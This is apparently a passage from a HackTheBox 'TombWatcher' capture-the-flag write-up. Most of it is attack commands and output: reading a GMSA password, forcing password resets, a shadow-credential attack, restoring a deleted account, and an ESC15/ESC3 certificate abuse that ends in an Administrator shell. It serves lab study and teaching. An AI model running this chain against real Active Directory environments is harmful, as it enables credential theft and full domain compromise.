LDAP        10.10.11.72     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb) (signing:None) (channel binding:Never) 
LDAP        10.10.11.72     389    DC01             [+] tombwatcher.htb\alfred:basketball 
LDAP        10.10.11.72     389    DC01             [*] Getting GMSA Passwords
LDAP        10.10.11.72     389    DC01             Account: ansible_dev$         NTLM: <no read permissions>                PrincipalsAllowedToReadPassword: Infrastructure

I’ll add alfred using bloodyAD:

oxdf@hacky$ bloodyAD -d tombwatcher.htb -u alfred -p basketball --host dc01.tombwatcher.htb add groupMember Infrastructure alfred
[+] alfred added to Infrastructure

Now alfred can read it using netexec:

oxdf@hacky$ netexec ldap dc01.tombwatcher.htb -u alfred -p basketball --gmsa
LDAP        10.10.11.72     389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb) (signing:None) (channel binding:Never) 
LDAP        10.10.11.72     389    DC01             [+] tombwatcher.htb\alfred:basketball 
LDAP        10.10.11.72     389    DC01             [*] Getting GMSA Passwords
LDAP        10.10.11.72     389    DC01             Account: ansible_dev$         NTLM: 1c37d00093dc2a5f25176bf2d474afdc     PrincipalsAllowedToReadPassword: Infrastructure

Or bloodyAD:

oxdf@hacky$ bloodyAD -d tombwatcher.htb -u alfred -p basketball --host dc01.tombwatcher.htb get object 'ANSIBLE_DEV$' --attr msDS-ManagedPassword

distinguishedName: CN=ansible_dev,CN=Managed Service Accounts,DC=tombwatcher,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:1c37d00093dc2a5f25176bf2d474afdc
msDS-ManagedPassword.B64ENCODED: IIwfpSnxGqOGf+d99xuIBTCl3yqtm6fvywv4pBqe5PN9jsYcLAWn3x1doYf9ZzjBXGB3XoRzPFNwtajDOG304xGmN2CJ4G+5QsLACGGVvu3ZoG4aosUdfpEGuWyYqSyKggtxHtssw1lWLbrZayfWqascdDtBvuaszTpJgmDnLykE6QP+BmmngEkfETLuZ+hH0pP896TujqasQXFyOBkqwVtvXe1Lx9szud4//XTPoejE0KBihHGhzmbQ8pGH9QR9zl21XsohXJA2dd9QAUwgGpCssBhbOPtAalPoaOYDlBE4wrFZNnrYpADsIeYVO/HmXVnGO1e/9XRjcSCEZaHvTw==

Validate NTLM

netexec validates that the hash works:

oxdf@hacky$ netexec smb DC01.tombwatcher.htb -u 'ANSIBLE_DEV$' -H 1c37d00093dc2a5f25176bf2d474afdc
SMB         10.10.11.72     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False) 
SMB         10.10.11.72     445    DC01             [+] tombwatcher.htb\ANSIBLE_DEV$:1c37d00093dc2a5f25176bf2d474afdc 

Auth as Sam

Enumeration

ANSIBLE_DEV$ has ForceChangePassword over Sam:

image-20250611173250062

Exploit

I’ll use bloodyAD to set a new password:

oxdf@hacky$ bloodyAD -d tombwatcher.htb -u 'ANSIBLE_DEV$' -p ':1c37d00093dc2a5f25176bf2d474afdc' --host dc01.tombwatcher.htb set password "sam" "0xdf0xdf!"
[+] Password changed successfully!

It works:

oxdf@hacky$ netexec smb DC01.tombwatcher.htb -u sam -p '0xdf0xdf!'
SMB         10.10.11.72     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False) 
SMB         10.10.11.72     445    DC01             [+] tombwatcher.htb\sam:0xdf0xdf! 

Shell as John

Enumeration

The final step in this Bloodhound path is Sam’s WriteOwner privilege over John:

image-20250611173555679

With WriteOwner, I can set Sam as the owner of the John account. As owner, Sam can give themself genericAll over John. From there, Sam can either set John’s password, get a shadow credential, or targeted Kerberoast.

Exploit via Shadow Credential

I’ll start by setting the owner of John to Sam with bloodyAD:

oxdf@hacky$ bloodyAD -d tombwatcher.htb -u sam -p '0xdf0xdf!' --host dc01.tombwatcher.htb set owner john sam
[+] Old owner S-1-5-21-1392491010-1358638721-2126982587-512 is now replaced by sam on john

Next I’ll give Sam GenericAll over John:

oxdf@hacky$ bloodyAD -d tombwatcher.htb -u sam -p '0xdf0xdf!' --host dc01.tombwatcher.htb add genericAll john sam
[+] sam has now GenericAll on john

Now certipy will do the shadow credential attack:

oxdf@hacky$ certipy shadow auto -target dc01.tombwatcher.htb -u sam -p '0xdf0xdf!' -account john
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'john'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '85478516-51f1-8a2a-d131-7b39d4de77d0'
[*] Adding Key Credential with device ID '85478516-51f1-8a2a-d131-7b39d4de77d0' to the Key Credentials for 'john'
[*] Successfully added Key Credential with device ID '85478516-51f1-8a2a-d131-7b39d4de77d0' to the Key Credentials for 'john'
[*] Authenticating as 'john' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'john@tombwatcher.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'john.ccache'
[*] Wrote credential cache to 'john.ccache'
[*] Trying to retrieve NT hash for 'john'
[*] Restoring the old Key Credentials for 'john'
[*] Successfully restored the old Key Credentials for 'john'
[*] NT hash for 'john': ad9324754583e3e42b55aad4d3b8d2bf

Shell

Verify

The leaked NTLM works for John:

oxdf@hacky$ netexec smb dc01.tombwatcher.htb -u john -H ad9324754583e3e42b55aad4d3b8d2bf
SMB         10.10.11.72     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False) 
SMB         10.10.11.72     445    DC01             [+] tombwatcher.htb\john:ad9324754583e3e42b55aad4d3b8d2bf

And John can WinRM:

oxdf@hacky$ netexec winrm dc01.tombwatcher.htb -u john -H ad9324754583e3e42b55aad4d3b8d2bf
WINRM       10.10.11.72     5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:tombwatcher.htb) 
WINRM       10.10.11.72     5985   DC01             [+] tombwatcher.htb\john:ad9324754583e3e42b55aad4d3b8d2bf (Pwn3d!)

This is in the Bloodhound data as well:

image-20250611175123766

Evil-WinRM-Py

I’ll get a shell using evil-winrm-py:

oxdf@hacky$ evil-winrm-py -i dc01.tombwatcher.htb -u john -H ad9324754583e3e42b55aad4d3b8d2bf
        ▘▜      ▘             
    █▌▌▌▌▐ ▄▖▌▌▌▌▛▌▛▘▛▛▌▄▖▛▌▌▌
    ▙▖▚▘▌▐▖  ▚▚▘▌▌▌▌ ▌▌▌  ▙▌▙▌
                          ▌ ▄▌ v1.0.0
[*] Connecting to dc01.tombwatcher.htb:5985 as john
evil-winrm-py PS C:\Users\john\Documents>

And grab the user flag:

evil-winrm-py PS C:\Users\john\desktop> cat user.txt
bc7fc5d3************************

Auth as cert_admin

Enumeration

Filesystem

The John user’s home directory is very empty other than user.txt.

There are no other interesting users with home directories other than Administrator:

evil-winrm-py PS C:\Users> ls

    Directory: C:\Users

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       11/15/2024   7:57 PM                .NET v4.5
d-----       11/15/2024   7:57 PM                .NET v4.5 Classic
d-----       12/11/2024   5:38 PM                Administrator
d-----       12/11/2024   6:42 PM                john
d-r---       11/15/2024   6:52 PM                Public     

The filesystem root isn’t very interesting either:

evil-winrm-py PS C:\> ls

    Directory: C:\

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       11/15/2024   7:57 PM                inetpub
d-----         6/4/2025   4:25 PM                PerfLogs
d-r---       11/15/2024   6:53 PM                Program Files
d-----       12/11/2024   6:39 PM                Program Files (x86)
d-r---       12/11/2024   6:42 PM                Users
d-----         6/4/2025   5:13 PM                Windows     

The web directory is empty:

evil-winrm-py PS C:\inetpub\wwwroot> ls

    Directory: C:\inetpub\wwwroot

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----       11/15/2024   7:57 PM                aspnet_client
-a----       11/15/2024   7:57 PM            703 iisstart.htm
-a----       11/15/2024   7:57 PM          99710 iisstart.png  

BloodHound

John has GenericAll over the ADCS OU (organizational unit):

image-20250612115134578

This will give me the ability to take full control over the OU, but it’s not clear why I need that at this point.

ADCS

At each compromised user, I can look at the enrollment rights of that user with respect to ADCS. I can also look in Bloodhound (because of the Rusthound collection) and see this. None of the users or groups compromised so far have any special configuration as far as ADCS. The Domain Users group allows for enrollment in four templates:

image-20250612081645802

Domain Computers (of which ANSIBLE_DEV$ is a member) provides access to three different templates:

image-20250612081750228

Still, none of these templates show any vulnerabilities in Bloodhound, and certipy won’t find any either. I’ll still collect data to see if there’s anything interesting that jumps out:

oxdf@hacky$ certipy find -target dc01.tombwatcher.htb -u john -hashes :ad9324754583e3e42b55aad4d3b8d2bf
Certipy v5.0.2 - by Oliver Lyak (ly4k)
                                                                                      
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 13 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'tombwatcher-CA-1' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'tombwatcher-CA-1'
[*] Checking web enrollment for CA 'tombwatcher-CA-1' @ 'DC01.tombwatcher.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Failed to lookup object with SID 'S-1-5-21-1392491010-1358638721-2126982587-1111'
[*] Saving text output to '20250612160945_Certipy.txt'
[*] Wrote text output to '20250612160945_Certipy.txt'
[*] Saving JSON output to '20250612160945_Certipy.json'
[*] Wrote JSON output to '20250612160945_Certipy.json'

There’s a single CA named tombwatcher-CA-1, with 11 templates.

The Machine template is potentially interesting:

  19
    Template Name                       : Machine
    Display Name                        : Computer
    Certificate Authorities             : tombwatcher-CA-1
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireDns
                                          SubjectRequireDnsAsCn
    Enrollment Flag                     : AutoEnrollment
    Extended Key Usage                  : Client Authentication
                                          Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2024-11-16T00:57:49+00:00
    Template Last Modified              : 2024-11-16T00:57:49+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Domain Computers
                                          TOMBWATCHER.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : TOMBWATCHER.HTB\Enterprise Admins
        Full Control Principals         : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Owner Principals          : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Dacl Principals           : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Property Enroll           : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Domain Computers
                                          TOMBWATCHER.HTB\Enterprise Admins
    [+] User Enrollable Principals      : TOMBWATCHER.HTB\Domain Computers
    [*] Remarks
      ESC2 Target Template              : Template can be targeted as part of ESC2 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.
      ESC3 Target Template              : Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template has schema version 1.

I have enrollment access having compromised ANSIBLE_DEV$ which is in the Domain Computers group. certipy calls out that this could be used in ESC2 and ESC3 attacks, but not on it’s own. The User template has the same remarks, and I have access via Domain Users.

The other thing that jumps out as interesting is the WebServer template:

  17
    Template Name                       : WebServer
    Display Name                        : Web Server
    Certificate Authorities             : tombwatcher-CA-1
    Enabled                             : True
    Client Authentication               : False
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Extended Key Usage                  : Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 2 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2024-11-16T00:57:49+00:00
    Template Last Modified              : 2024-11-16T17:07:26+00:00
    Permissions
      Enrollment Permissions            
        Enrollment Rights               : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
                                          S-1-5-21-1392491010-1358638721-2126982587-1111
      Object Control Permissions        
        Owner                           : TOMBWATCHER.HTB\Enterprise Admins
        Full Control Principals         : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Owner Principals          : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Dacl Principals           : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Property Enroll           : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
                                          S-1-5-21-1392491010-1358638721-2126982587-1111

It is odd that one of the object is shown by it’s SID and not by name. This implies that certipy wasn’t able to resolve the user’s information.

User 1111

This user is in the Bloodhound data, which shows the enrollment via Outbound Control:

image-20250612082850420

The information on this object is very thin:

image-20250612082910486

Looking at the timestamp and the fact that I ran RustHound-CE before BloodHound-Python, it looks like the Python collector missed this entirely.

If I try to get information on the host about the SID, it also fails:

evil-winrm-py PS C:\> Get-ADObject -Identity "S-1-5-21-1392491010-1358638721-2126982587-1111"
Cannot find an object with identity: 'S-1-5-21-1392491010-1358638721-2126982587-1111' under: 'DC=tombwatcher,DC=htb'.

This suggests the object may have been deleted.

AD Recycle Bin

Find Deleted Account

The AD Recycle Bin feature I covered back in 2020 in Cascade. It allows admins to recover deleted AD objects. It is installed and active on TombWatcher:

evil-winrm-py PS C:\> Get-ADOptionalFeature 'Recycle Bin Feature'

DistinguishedName  : CN=Recycle Bin Feature,CN=Optional Features,CN=Directory Service,CN=Windows 
                     NT,CN=Services,CN=Configuration,DC=tombwatcher,DC=htb
EnabledScopes      : {CN=Partitions,CN=Configuration,DC=tombwatcher,DC=htb, CN=NTDS Settings,CN=DC01,CN=Servers,CN=Defau
                     lt-First-Site-Name,CN=Sites,CN=Configuration,DC=tombwatcher,DC=htb}
FeatureGUID        : 766ddcd8-acd0-445e-f3b9-a7f9b6744f2a
FeatureScope       : {ForestOrConfigurationSet}
IsDisableable      : False
Name               : Recycle Bin Feature
ObjectClass        : msDS-OptionalFeature
ObjectGUID         : 907469ef-52c5-41ab-ad19-5fdec9e45082
RequiredDomainMode : 
RequiredForestMode : Windows2008R2Forest

I’ll use the same command I used in Cascade to list deleted items, adding -property to see some extra data that will be useful in a bit:

evil-winrm-py PS C:\> Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects -property objectSid,lastKnownParent

Deleted           : True
DistinguishedName : CN=cert_admin\0ADEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3,CN=Deleted Objects,DC=tombwatcher,DC=htb
LastKnownParent   : OU=ADCS,DC=tombwatcher,DC=htb
Name              : cert_admin
                    DEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3
ObjectClass       : user
ObjectGUID        : f80369c8-96a2-4a7f-a56c-9c15edd7d1e3
objectSid         : S-1-5-21-1392491010-1358638721-2126982587-1109

Deleted           : True
DistinguishedName : CN=cert_admin\0ADEL:c1f1f0fe-df9c-494c-bf05-0679e181b358,CN=Deleted Objects,DC=tombwatcher,DC=htb
LastKnownParent   : OU=ADCS,DC=tombwatcher,DC=htb
Name              : cert_admin
                    DEL:c1f1f0fe-df9c-494c-bf05-0679e181b358
ObjectClass       : user
ObjectGUID        : c1f1f0fe-df9c-494c-bf05-0679e181b358
objectSid         : S-1-5-21-1392491010-1358638721-2126982587-1110

Deleted           : True
DistinguishedName : CN=cert_admin\0ADEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf,CN=Deleted Objects,DC=tombwatcher,DC=htb
LastKnownParent   : OU=ADCS,DC=tombwatcher,DC=htb
Name              : cert_admin
                    DEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf
ObjectClass       : user
ObjectGUID        : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
objectSid         : S-1-5-21-1392491010-1358638721-2126982587-1111

It’s not totally clear to me why it shows up there times, but there’s a user named cert_admin. And the last one has the RID 1111. The lastKnownParent attribute is added to Recycle Bin objects, and it shows it was in the ADCS OU.

Recover cert_admin

Because John has GenericAll over ADCS, and ADCS is cert_admin’s lastKnownParent, John should be able to resurrect this account. I’ll need to get the ObjectGUID for the specific instance of cert_admin that has the 1111 RID.

evil-winrm-py PS C:\> Restore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
evil-winrm-py PS C:\> Get-ADUser cert_admin

DistinguishedName : CN=cert_admin,OU=ADCS,DC=tombwatcher,DC=htb
Enabled           : True
GivenName         : cert_admin
Name              : cert_admin
ObjectClass       : user
ObjectGUID        : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
SamAccountName    : cert_admin
SID               : S-1-5-21-1392491010-1358638721-2126982587-1111
Surname           : cert_admin
UserPrincipalName : 

It worked.

Reset Password

With GenericAll over the entire OU, John can compromise the cert_admin account many ways. Given that the account was deleted, it seems safe to just change the password:

evil-winrm-py PS C:\> Set-ADAccountPassword cert_admin -NewPassword (ConvertTo-SecureString '0xdf0xdf!' -AsPlainText -Force)

It worked:

oxdf@hacky$ netexec smb dc01.tombwatcher.htb -u cert_admin -p '0xdf0xdf!'
SMB         10.10.11.72     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False) 
SMB         10.10.11.72     445    DC01             [+] tombwatcher.htb\cert_admin:0xdf0xdf! 

Shell as Administrator

Enumeration

As cert_admin, I’ll re-run certipy to look for vulnerable templates:

oxdf@hacky$ certipy find -target dc01.tombwatcher.htb -u cert_admin -p '0xdf0xdf!' -vulnerable -stdout
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 13 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'tombwatcher-CA-1' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'tombwatcher-CA-1'
[*] Checking web enrollment for CA 'tombwatcher-CA-1' @ 'DC01.tombwatcher.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : tombwatcher-CA-1
    DNS Name                            : DC01.tombwatcher.htb
    Certificate Subject                 : CN=tombwatcher-CA-1, DC=tombwatcher, DC=htb
    Certificate Serial Number           : 3428A7FC52C310B2460F8440AA8327AC
    Certificate Validity Start          : 2024-11-16 00:47:48+00:00
    Certificate Validity End            : 2123-11-16 00:57:48+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : TOMBWATCHER.HTB\Administrators
      Access Rights
        ManageCa                        : TOMBWATCHER.HTB\Administrators
                                          TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        ManageCertificates              : TOMBWATCHER.HTB\Administrators
                                          TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Enroll                          : TOMBWATCHER.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : WebServer
    Display Name                        : Web Server
    Certificate Authorities             : tombwatcher-CA-1
    Enabled                             : True
    Client Authentication               : False
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Extended Key Usage                  : Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 2 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2024-11-16T00:57:49+00:00
    Template Last Modified              : 2024-11-16T17:07:26+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
                                          TOMBWATCHER.HTB\cert_admin
      Object Control Permissions
        Owner                           : TOMBWATCHER.HTB\Enterprise Admins
        Full Control Principals         : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Owner Principals          : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Dacl Principals           : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Property Enroll           : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
                                          TOMBWATCHER.HTB\cert_admin
    [+] User Enrollable Principals      : TOMBWATCHER.HTB\cert_admin
    [!] Vulnerabilities
      ESC15                             : Enrollee supplies subject and schema version is 1.
    [*] Remarks
      ESC15                             : Only applicable if the environment has not been patched. See CVE-2024-49019 or the wiki for more details.

Unsurprisingly, it now shows the username correctly, and there’s a vulnerability to ESC15.

ESC15

Background

The Certipy Wiki describes ESC15 as:

ESC15, also known by the community name “EKUwu” (research by Justin Bollinger from TrustedSec) and tracked as CVE-2024-49019, describes a vulnerability affecting unpatched CAs. It allows an attacker to inject arbitrary Application Policies into a certificate issued from a Version 1 (Schema V1) certificate template. If the CA has not been updated with the relevant security patches (Nov 2024), it will incorrectly include these attacker-supplied Application Policies in the issued certificate. This occurs even if these policies are not defined in, or are inconsistent with, the template’s intended Extended Key Usages (EKUs), thereby granting the certificate unintended capabilities.

The key indicators are:

  • Enrollee Supplies Subject is True
  • Schema Version is 1
  • Not patched for CVE-2024-49019

There are two scenarios for exploitation shown on the wiki.

Exploit Scenario A [Fail]

I’ll use the req feature to request a certificate as the administrator injecting that this certificate can be used for client authentication (even though the template says it is not):

oxdf@hacky$ certipy req -u cert_admin -p '0xdf0xdf!' -dc-ip 10.10.11.72 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template WebServer -upn administrator@tombwatcher.htb -application-policies 'Client Authentication'
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 4
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@tombwatcher.htb'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

If I try to authenticate with this PFX, it fails:

oxdf@hacky$ certipy auth -pfx administrator.pfx -dc-ip 10.10.11.72
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@tombwatcher.htb'
[*] Using principal: 'administrator@tombwatcher.htb'
[*] Trying to get TGT...
[-] Certificate is not valid for client authentication
[-] Check the certificate template and ensure it has the correct EKU(s)
[-] If you recently changed the certificate template, wait a few minutes for the change to propagate
[-] See the wiki for more information

There’s an EKU error here, which is because I’m using the certificate in an unintended way. Still, this certificate can work over LDAP. Now I try to use it to get an LDAP shell over Schannel, but it fails:

oxdf@hacky$ certipy auth -pfx administrator.pfx -dc-ip 10.10.11.72 -ldap-shell
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@tombwatcher.htb'
[*] Connecting to 'ldaps://10.10.11.72:636'
[-] Failed to connect to LDAP server: ("('socket ssl wrapping error: [SSL: CA_MD_TOO_WEAK] ca md too weak (_ssl.c:3895)',)",)
[-] Use -debug to print a stacktrace

The error is about the SSL being too weak. I believe I could downgrade the SSL on my host to continue here, but I’ll focus on scenario B.

Exploit Scenario B

This time instead of giving the resulting certificate the ability to authenticate, I’ll give it the agent property:

oxdf@hacky$ certipy req -u cert_admin -p '0xdf0xdf!' -dc-ip 10.10.11.72 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template WebServer -upn administrator@tombwatcher.htb -application-policies 'Certificate Request Agent'
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 5
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@tombwatcher.htb'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
File 'administrator.pfx' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote certificate and private key to 'administrator.pfx'

At this point, I can basically complete the ESC3 attack (like in Certificate). I’ll use that PFX to request a ticket as Administrator for a template that is meant for user login:

oxdf@hacky$ certipy req -u cert_admin -p '0xdf0xdf!' -dc-ip 10.10.11.72 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template User -pfx cert_admin.pfx -on-behalf-of 'tombwatcher\Administrator'
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 8
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator@tombwatcher.htb'
[*] Certificate object SID is 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Saving certificate and private key to 'administrator.pfx'
File 'administrator.pfx' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote certificate and private key to 'administrator.pfx'

Now I can just auth with it:

oxdf@hacky$ certipy auth -pfx administrator.pfx -dc-ip 10.10.11.72
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'Administrator@tombwatcher.htb'
[*]     Security Extension SID: 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Using principal: 'administrator@tombwatcher.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@tombwatcher.htb': aad3b435b51404eeaad3b435b51404ee:f61db423bebe3328d33af26741afe5fc

This returns both a TGT and the NTLM hash for the administrator account.

WinRM

I’ll use the hash to get a shell:

oxdf@hacky$ evil-winrm-py -i dc01.tombwatcher.htb -u administrator -H f61db423bebe3328d33af26741afe5fc
        ▘▜      ▘             
    █▌▌▌▌▐ ▄▖▌▌▌▌▛▌▛▘▛▛▌▄▖▛▌▌▌
    ▙▖▚▘▌▐▖  ▚▚▘▌▌▌▌ ▌▌▌  ▙▌▙▌
                          ▌ ▄▌ v1.0.0
[*] Connecting to dc01.tombwatcher.htb:5985 as administrator
evil-winrm-py PS C:\Users\Administrator\Documents>

And root.txt:

evil-winrm-py PS C:\Users\Administrator\Desktop> cat root.txt
58c9e767************************